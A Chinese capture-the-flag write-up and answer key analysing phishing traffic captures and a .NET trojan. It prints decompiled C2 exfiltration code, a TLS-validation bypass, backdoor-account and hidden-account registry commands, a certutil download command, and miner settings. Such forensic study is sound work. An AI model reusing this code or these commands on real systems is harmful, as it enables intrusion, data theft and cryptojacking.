色情钓鱼邮件流量

材料清单:
| 编号 | 文件名 | 说明 |
|---|---|---|
| A | 陈小明.pcapng | 受害者主机网络流量捕获 |
| B | 攻击机.pcapng | 攻击者主机网络流量捕获 |
| C | 服务器.pcapng | 邮件服务器网络流量捕获 |
| D | sslkeys.log | TLS会话密钥日志(可用于解密HTTPS流量) |
提交格式: flag{答案内容},答案中若有多个值用英文逗号分隔,全部小写,无空格。
木马禁止在本机运行,木马禁止在本机运行 木马禁止在本机运行 在虚拟机运行

这个题目其实和 AI赛道的甜甜的陷阱—Windows 应急响应是同一个
甜甜的陷阱—Windows 应急响应 截图


木马禁止在本机运行
原始文件
先导入解密文件 会话主密钥
打开 Wireshark → 编辑 → 首选项 → 协议(Protocols) → TLS

1.攻击者使用的操作系统主机名是什么?
过滤 只看DHCP服务器的
dhcp.option.hostname
#tshark命令
tshark -r 陈小明.pcapng -Y "dhcp.option.hostname" -T fields -e ip.src -e dhcp.option.hostname | sort -u


可以看到kali为攻击机,这个主机后续又参与邮件投递和 C2 通信,因此可作为攻击机主机名。

也可以得到受害机的名字是WIN-5CNHCFAIMP9
flag{kali}

2.攻击者的IP地址是多少?
提交格式:flag{xxx.xxx.xxx.xxx}
看会话最多的

或者直接过滤主机名为 kali 的 DHCP 包
dhcp.option.hostname == "kali"

flag{192.168.39.88}

3.受害者主机一共配置了几个IP地址?请按照从小到大的顺序全部列出。
提交格式:flag{xxx.xxx.xxx.xxx,xxx.xxx.xxx.xxx,...}
受害机通过 NBNS 广播自己的主机名
nbns.name contains "WIN-5CNHCFAIMP9"
#tshark命令
tshark -r 陈小明.pcapng -Y "dhcp.option.hostname == WIN-5CNHCFAIMP9" -T fields -e ip.src | sort -u
按包号从小到大查看 Source Address,第 1、17、34、53 包分别对应四个源 IP。按从小到大排序后提交。
包号:1、17、34、53


flag{192.168.39.92,192.168.39.144,192.168.39.150,192.168.39.152}

4.邮件服务器的IP地址和域名分别是什么?(格式:IP_域名)
提交格式:flag{xxx.xxx.xxx.xxx_xxx.xxx.xxx}
SMTP 服务建立连接时会返回 220 banner
smtp.response.code == 220


可以看到服务器域名
flag{192.168.39.138_mail.jiujiu.com}

5.邮件服务器使用的是什么软件?SMTP 和 POP3 分别使用的端口号是多少?(格式:软件,SMTP端口,POP3端口)
提交格式:flag{xxx,数字,数字}
smtp.response.code == 220 || tcp.port == 25 || tcp.port == 110

在上一个包可以得到 SMTP banner 显示软件为 Postfix,TCP 源端口为 25继续看 POP3 连接,第 495 包服务端从 110 端口响应客户端,所以 POP3 端口是 110

得到答案 mang
flag{Postfix,25,110}

6.邮件服务器EHLO响应中声明支持哪些传输加密方式?
提交格式:flag{xxx}
EHLO 后服务端会用 250 响应列出能力 428 就可以看到
过滤命令
smtp.response.code == 250

flag{STARTTLS}

7.受害者主机的计算机名是什么?
提交格式:flag{xxx}
在第一题我们就得到了 DHCP里面也有 也可以随便找找就可以得到 但是主要是看受害者某个 IP 发出的 NBNS 包
nbns && ip.src == 192.168.39.150

flag{WIN-5CNHCFAIMP9}

8.网络中DHCP服务器分配给受害者的默认网关IP是多少?
提交格式:flag{xxx.xxx.xxx.xxx}
过滤 DHCP 中由 192.168.39.254 分配地址的响应包
dhcp.option.dhcp_server_id == 192.168.39.254
查看 DHCP 相关字段,可以看到分配方为 192.168.39.254;题目答案按这个网关设备地址提交

flag{192.168.39.254}

9.攻击者使用的钓鱼邮箱地址是什么?
提交格式:flag{xxx@xxx.xxx}
SMTP 发件人由 MAIL FROM 命令给出
只看邮件流量就行
smtp.req.command == "MAIL"


看页面就可以看到了 192.168.39.138 邮件服务器 192.168.39.88 为攻击机 192.168.39.92 是受害机
flag{tiantian@jiujiu.com}

10.受害者的邮箱地址是什么?
提交格式:flag{xxx@xxx.xxx}
在上一题就可以得到了
SMTP 收件人由 RCPT TO 命令给出过滤攻击者发出的 RCPT 包 其实过滤不过滤随便一看就可以得到答案了
smtp.req.command == "RCPT" && ip.src == 192.168.39.88

flag{chenxiaoming@jiujiu.com}

11.受害者通过POP3协议收取邮件时使用的密码是什么?
提交格式:flag{xxx}
POP3 AUTH PLAIN 的认证数据是 Base64
在第 502 包 可以得到


flag{chenxiaoming123}

12.攻击者 tiantian 在 POP3 登录时使用的密码是什么?
提交格式:flag{xxx}
同样查看 POP3 AUTH PLAIN 第763 可以得到


flag{Mail#Jiujiu2026}

13.在整个攻击过程中,受害机 POP3 总共进行了几次登录?
提交格式:flag{数字}
这个题目是按唯一登录账号/凭据统计。过滤后能看到两类认证数据:第 502 包对应 chenxiaoming,第 763 包对应 tiantian。因此登录账号种类为 2。就是在流量包只可以看到这两个登录所以为2
如果需要看清楚点可以过滤
pop.request.command contains "AGNo" || pop.request.command contains "AHRp"

flag{2}
14.在整个攻击过程中,攻击者(tiantian)一共向受害者发送了多少封邮件?
提交格式:flag{数字}
每封邮件都会出现一次 MAIL FROM。输入过滤器后,统计过滤结果中的数据包数量 感觉正常做题很难数但是可以大概找找也可以在区间范围盲猜
smtp.req.command == "MAIL" && smtp.req.parameter contains "tiantian"

一共18
flag{18}
15.攻击者发送的所有邮件中,体积最大的一封邮件大小是多少字节?(SMTP SIZE参数值)
提交格式:flag{数字}
SMTP 的 MAIL FROM 参数中会携带 SIZE。过滤后逐个查看 smtp.req.parameter
smtp.req.command == "MAIL" && smtp.req.parameter contains "SIZE"


flag{9139617}

16.攻击者发送的包含恶意附件”上门服务”的那封邮件,其邮件主题是什么?(解码后的中文)
提交格式:flag{xxx}

在上题我们已经知道攻击者向 陈小明传输了色情钓鱼应用 这个是开始传输的

继续往跟进 到传输应用结束的阶段


flag{你的上门服务哦!}

17.第一封钓鱼邮件的主题是什么?(解码后的中文)
提交格式:flag{xxx}
过滤 tiantian 发出的邮件,然后按包号从小到大看第一封
imf.from contains "tiantian"

438 查看 IMF 的 Subject 字段,解码后为 哥哥

flag{哥哥}

18.攻击者(tiantian)在社工邮件中共向受害者发送了多少张PNG图片?
提交格式:flag{数字}
过滤 MIME 中的 PNG 附件
mime_multipart.header.content-type contains "image/png"





第 3669 包有 1.png,第 11664 包有 2.png和 3.png,第 21834包有 4.png和 5.png,合计 5 张 PNG 图片。
flag{5}

19.木马上线后自我复制到哪个路径,伪装成什么系统进程名?
提交格式:flag{xxx,xxx}
先下载恶意文件
根据上面可以得到信息定位第 35901 包。包里有附件 上门服务.exe。在 Wireshark 中可以用 文件(File) -> 导出对象(Export Objects) -> IMF 导出,也可以在该包 MIME 附件字段上右键保存。后面静态分析题都基于这个导出的样本。

保存分离 得到exe就行了

木马文件用ILSpy反编译
在 X(string): string 可以找到 解密函数


public static string X(string s)
{
byte[] array = Convert.FromBase64String(s); #Base64 解码
byte b = 90; #密钥:90(十进制,对应 ASCII 'Z',十六进制 0x5A)
for (int i = 0; i < array.Length; i++)
{
array[i] ^= b; #逐字节异或
}
return Encoding.UTF8.GetString(array); #UTF-8 转字符串
}
可以解密也就知道是怎么加密 解密直接解密在异或解就行


解密后得到
MicrosoftWindowsWMIWmiPrvSE.exe
所以完整自复制路径为 。
C:ProgramDataMicrosoftWindowsWMIWmiPrvSE.exe #伪装进程名为 WmiPrvSE.exe。
flag{C:ProgramDataMicrosoftWindowsWMIWmiPrvSE.exe,WmiPrvSE.exe}

20.可疑文件”上门服务.exe”的SHA256哈希值是多少?
提交格式:flag{SHA256}
计算可以使用
使用 certutil(系统自带)
certutil -hashfile "上门服务.exe" SHA256

使用 PowerShell
Get-FileHash -Path "上门服务.exe" -Algorithm SHA256 #大写
(Get-FileHash -Path "上门服务.exe" -Algorithm SHA256).Hash.ToLower() #小写


linux
sha256sum 上门服务.exe

flag{4a9ed2d751acaea3317077bd774c7044bd4e8379dceace0ca8f6e0dee7160656}

21.该恶意样本是基于什么开发框架编译的?
提交格式:flag{xxx}
die查看就行了

或者
file 上门服务.exe

flag{.net}

22.该恶意样本的PE子系统类型是什么?(十六进制值)
提交格式:flag{0x0000}
根据上一题已经知道是GUI页面 就是图形界面
2 = IMAGE_SUBSYSTEM_WINDOWS_GUI(图形界面)
3 = IMAGE_SUBSYSTEM_WINDOWS_CUI(控制台)
可以直接得到答案
flag{0x0002}

23.分析恶意文件,该恶意程序与C2服务器通信时使用的HTTP Content-Type是什么?
提交格式:flag{xxx}


恶意程序在 Wc() 方法中显式设置了 HTTP 头,继续往下看 Post() 和 PostR(),它们都调用 Wc().UploadString(...) 发送数据,所以这个请求头会用于后续 C2 POST 通信。
flag{application/x-www-form-urlencoded}

24.分析恶意文件,该恶意程序忽略TLS证书校验所调用的对象属性全名是什么?
提交格式:flag{xxx.xxx}

继续根进 可以看到 恶意程序通过 Core.StartBeacon() 方法启动与 C2 的通信,其中使用了 ServicePointManager 来忽略 TLS 证书校验。
Core.StartBeacon()
ServicePointManager.ServerCertificateValidationCallback =
(RemoteCertificateValidationCallback)Delegate.Combine(
ServicePointManager.ServerCertificateValidationCallback,
(RemoteCertificateValidationCallback)((object a, X509Certificate b, X509Chain c, SslPolicyErrors d) => true)
);
该回调总是返回 true,使程序接受任何 SSL/TLS 证书(包括自签名、过期、域名不匹配等),从而实现中间人攻击防御的绕过。
完整名称为:
flag{ServicePointManager.ServerCertificateValidationCallback}

25.该恶意程序在源码中硬编码了多个休眠等待时间,其中最短的固定休眠时间是多少毫秒?
提交格式:flag{数字}
直接找sleep就行了

在 Core -> WipeLogs() 里能看到清理事件日志的循环。这里执行 wevtutil.exe cl System/Security/Application 后休眠 200 毫秒,这是样本源码中写死的最短固定 Sleep,因此答案取 200。
flag{200}

26.恶意程序回连C2服务器使用的端口号是多少?
提交格式:flag{数字}

在 exe里面就可以得到

在流量里面也可以看到
flag{8443}

27.木马 C2 备用端口是多少?
提交格式:flag{数字}
在上一个图片就可以看到答案

flag{4443}

28.C2通信使用的TLS版本和密码套件编号分别是什么?(格式:TLS版本_密码套件十六进制)
提交格式:flag{0x0000_0x0000}
过滤就只看8843的通信的 记得解密哦
tls.handshake.type == 2 && tcp.port == 8443
看第 45765 包 就可以得到了

flag{0x0303_0xc030}

29.C2通信的JA3指纹值是多少?
提交格式:flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
过滤就行
tls.handshake.type == 1 && tcp.dstport == 8443
JA3 是 TLS Client Hello 的客户端指纹,不是服务端回包里的字段。它由客户端发起握手时带出的版本、密码套件、扩展等信息计算出来,所以要先过滤出 Client Hello,再找对应的 JA3就行
客户端的是Client Hello -> JA3
服务端的是Server Hello -> JA3S

flag{43016d7f7f9336b17c884650d0d2545d}

30.使用sslkeys.log解密C2流量后,C2心跳包的POST路径是什么?
提交格式:flag{/xxx}
http.request && tcp.port == 8443
查看 8443 上所有 HTTP 请求。按出现频率和请求内容判断,/s 是持续出现的心跳路径,而且心跳包发送到路径/s,占C2流量的绝大多数

flag{/s}

31.解密C2流量后,心跳包中上报的机器标识字段内容是什么?(完整的POST body解码后内容)
提交格式:flag{xxx=xxx&xxx=xxx}
根据上一题的过滤看8843的http 点进去看就可以得到

flag{id=WIN-5CNHCFAIMP9&s=1}

32.木马上线时向 C2 路径 /h 上报的初始信息包含哪些字段和值?(格式:字段1=值,字段2=值,字段3=值)
提交格式:flag{xxx=xxx,xxx=xxx,xxx=xxx}
还是这个过滤
http.request && tcp.port == 8443
详细过滤就是
http.request && http.request.uri == "/h" && tcp.port == 8443
#/h是主机信息上报
再57150随便找找就可以找到

id(主机名)、user(当前用户)、os(操作系统版本)
flag{id=WIN-5CNHCFAIMP9,user=Administrator,os=Microsoft Windows NT 6.2.9200.0}

33.C2结果回传使用的POST路径是什么?
提交格式:flag{/xxx}
先解读木马有什么功能

再样本文件中我们就知道了 里面得功能
PostR("info=" + Convert.ToBase64String(...));
PostR("ps=" + Cmd("tasklist"));
PostR("screen=" + Convert.ToBase64String(array));
PostR("cam=" + Convert.ToBase64String(array));
PostR("exec=" + Cmd(...));
PostR("file=" + Convert.ToBase64String(File.ReadAllBytes(path)));
info= 信息收集结果
ps= 进程列表
screen= 屏幕截图
cam= 摄像头图片
exec= 命令执行结果
file= 文件内容
所有功能
i / info:回传基础信息
p / ps:回传进程列表
sc / screen:截屏回传
c / cam:摄像头回传
k / kill:清理持久化并退出
e <cmd> / exec <cmd>:执行命令并回传结果
g <path> / get <path>:读取文件并回传
sl <ms> / sleep <ms>:休眠指定毫秒

在exe里面就知道回传路径
在恶意程序的 Core 类中,所有需要将数据发送回 C2 的操作(如屏幕截图、命令执行结果、文件上传等)都调用了 PostR(string d)方法:
private static void PostR(string d)
{
try
{
Wc().UploadString("https://" + G.X(G._c2) + ":" + G._port + "/r", d);
}
catch { }
}

看流量也可以得到 随便点进去看看就可以看到一个命令得回传

flag{/r}

34.攻击者通过C2在受害主机上执行whoami命令后获取到的完整结果是什么?
提交格式:flag{xxxxxx}
还是这个命令只看8843
http.request && tcp.port == 8443
找一找第 51904包是服务端下发的 whoami 命令。第 51924 包是客户端回传结果



flag{win-5cnhcfaimp9administrator}

35.C2主机信息上报路径/h中包含了操作系统版本信息,受害者操作系统的完整标识是什么?
提交格式:flag{xxx}
其实是32我们已经得到答案了
随便找找就可以得到

flag{Microsoft Windows NT 6.2.9200.0}

36.攻击者通过C2在受害主机上创建了几个隐藏后门账户?分别是什么用户名?
提交格式:flag{数字,xxx,xxx}
52921包下发 net user yue Aa123456!@ /add,创建账户 yue。53132可以看到创建 yue$ 的命令,因此后门账户数为 2,账户名为 yue 和 yue$。


flag{2,yue,yue$}

37.攻击者创建 yue 账户时设置的密码是什么?
提交格式:flag{xxx}
在上一题已经得到了
flag{Aa123456!@}

38.攻击者用什么注册表路径和键值隐藏后门账户。写出完整路径、键名、类型和数值。
提交格式:flag{xxx,xxx,xxx,数字}
在53766得到

flag{HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList,yue$,REG_DWORD,0}

39.受害者的手机号、身份证号和家庭住址分别是什么。(手机号格式:xxx-xxx-xxx)
提交格式:flag{xxx-xxxx-xxxx,xxxxxxxxxxxxxxxxxx,xxx}
这个就是info 命令里面可以知道 继续找流量包就行了 就看就行
只看8843
http.request && tcp.port == 8443

在47975可以看到info 内容 解码 GBK

flag{138-5710-2026,330106199508151231,浙江省杭州市西湖区文一西路888号星月交响小区5幢2单元801室}

40.木马具备哪些恶意功能,对应 C2 命令字是什么。(格式:flag{命 令字:function,命令字:function},按命令字 a-z 排序;短命令按功能归一化,如 c 记为 cam、e 记为 exec、i 记为 info)
提交格式:flag{xxx:xxx,xxx:xxx}
只看回传得包 可以结合exe木马文件逆向得到得信息 就是我在33里面说得
http.request && http.request.uri == "/r" && tcp.port == 8443 && http.file_data
第 47635 包出现 info,对应系统信息收集

第 51924 包出现 exec,对应命令执行


第 71338 包出现 screen,对应截图


第 73913 包出现 cam,对应摄像头捕获。题目要求截图命令字写短名 sc。


整合答案得到
flag{cam:webcam_capture,exec:command_execution,info:system_information,sc:screenshot}

41.木马屏幕截图用了什么 Windows API,图片保存什么格式,传给 C2 前做了什么编码。
提交格式:flag{xxx,xxx,xxx}
看恶意文件

G.BitBlt(intPtr, 0, 0, num, num2, dC, systemMetrics, systemMetrics2, 13369376u);
BitBlt(Bit Block Transfer)是核心的位图拷贝函数。
参数含义:
目标 DC(内存DC)、目标起始坐标 (0,0)
宽度和高度(整个屏幕)
源 DC(屏幕DC)
源起始坐标(虚拟屏幕左上角偏移)
最后一个参数 13369376 对应 SRCCOPY(简单拷贝),即直接把屏幕内容复制到内存位图
其实看流量也可以知道是什么编码了
flag{BitBlt,JPEG,Base64}
42.截图功能中 BitBlt 的 dwRop 光栅操作常量值是什么?(十六进制)
提交格式:flag{0x0000}
上一题已经得到答案了
看BitBlt 调用,最后一个参数 dwRop 为 0xCC0020,即 SRCCOPY。
flag{0xCC0020}

43.WindowsUpdate.bat创建的计划任务名称是什么?
提交格式:flag{xxx}
挖矿脚本是明文 HTTP 下载的。先看第 63328 包的 C2 命令,里面下发了 certutil 下载命令;

63296 可以看到 端口

再过滤 8888 端口 HTTP 流量,
http && tcp.port == 8888
第 63303 包是请求 /WindowsUpdate.bat,

第 63306 包是脚本响应,下面十题主要看第 63306 包响应体内容
43题答案

flag{WindowsRuntimePlatformUpdate}

44.该挖矿脚本连接的矿池地址和端口是什么?(格式:地址:端口)
提交格式:flag{xxx.xxx.xxx:数字}

flag{xmr.cryptonight-hub.com:443}

45.该挖矿脚本挖掘的是什么加密货币?
提交格式:flag{xxx}
查找 coin 字段,值为 monero

flag{monero}

46.挖矿脚本使用的挖矿算法是什么?
提交格式:flag{xxx}
配置里出现 randomx 相关字段,且 Monero 默认算法也是 RandomX。

flag{RandomX}

47.挖矿程序使用的钱包地址是什么?
提交格式:flag{xxx}
看 user字段,长字符串就是门罗币钱包地址

flag{49XnPvDkmNQSPBGKEgTRpnHfv7PZiEMVzDGmNcLHn5FyLYuFmJRLBAwMbBF1fQRHGpzCwp9hHt6NsfrSPeXQqzqZRa1p2aZ}

48.挖矿配置中的worker密码(pass字段)是什么?
提交格式:flag{xxx}
看pass就行了

flag{RTPlatformSvc}

49.挖矿脚本将自身和配置文件安装到哪个目录?(使用环境变量表示)
提交格式:flag{%xxx%xxx}
变量 d 被设置为 %APPDATA%MicrosoftWindowsRuntimePlatform,这是矿工落地安装目录

flag{%APPDATA%MicrosoftWindowsRuntimePlatform}

50.该计划任务设置的执行频率是什么?(每隔多少小时执行一次)
提交格式:flag{数字}
看 schtasks /create 命令,命令参数包含 /sc hourly /mo 2,表示每 2 小时执行一次

flag{2}

51.挖矿脚本使用了什么技术来隐藏自身文件?
提交格式:flag{xxx}
还是看同一个包可以看到 看到多处使用 attrib +h 给文件或目录添加隐藏属性

flag{attrib +h}
52.攻击者通过 C2 下载挖矿脚本 时,使用的 Windows 内置下载命令及参数前缀是什么? 格式:flag{命令 参数1 参数2 参数3 参数4}
提交格式:flag{xxx xxx xxx xxx}
在第43题我们就已经知道答案了
63296

flag{certutil -urlcache -split -f}

53.在所有邮件往来中,攻击者用于投递恶意程序的IP地址与C2控制端的IP地址是否是同一个?如果是,该IP是多少?
提交格式:flag{xxx.xxx.xxx.xxx}
看邮件投递
smtp.req.command == "MAIL" && smtp.req.parameter contains "tiantian"

源 IP 是 192.168.39.88
tcp.port == 8443 && ip.addr == 192.168.39.88

看 C2 通信,第 45220 包显示受害机连接的目的 IP 也是 192.168.39.88,因此投递恶意程序和 C2 是同一 IP。
flag{192.168.39.88}

54.从邮件投递到C2上线,受害主机发起C2连接的源IP是哪个?
提交格式:flag{xxx.xxx.xxx.xxx}
还是看8843
tcp.port == 8443 && tcp.flags.syn == 1 && tcp.flags.ack == 0

看木马上线的第一个 SYN 包。45220包源 IP 为 192.168.39.152,目的 IP 为攻击者 192.168.39.88
flag{192.168.39.152}
55.在C2通信流量中,一共捕获到了多少个心跳包(POST /s请求)?
提交格式:flag{数字}
http.request && http.request.uri == "/s" && tcp.port == 8443

统计 HTTP 请求包,不统计响应包,过滤结果一共 689 个,首个心跳是第 45771包,最后一个心跳是第 75214 包
flag{689}

56.受害者主机名为WIN-5CNHCFAIMP9,该主机使用了多少块网卡?
提交格式:flag{数字}
可以看
nbns.name contains "WIN-5CNHCFAIMP9"

可以先用 NBNS 过滤受害者主机名。第 1、17、34、53包都出现 WIN-5CNHCFAIMP9,并且对应四个不同源 IP 和四个不同 VMware MAC,说明这台主机至少有 4 个网卡地址
也可以直接看攻击者后面下发的 ipconfig /all 命令
下发命令包:70266,回传结果包:70280


flag{4}


蟹蟹观看!








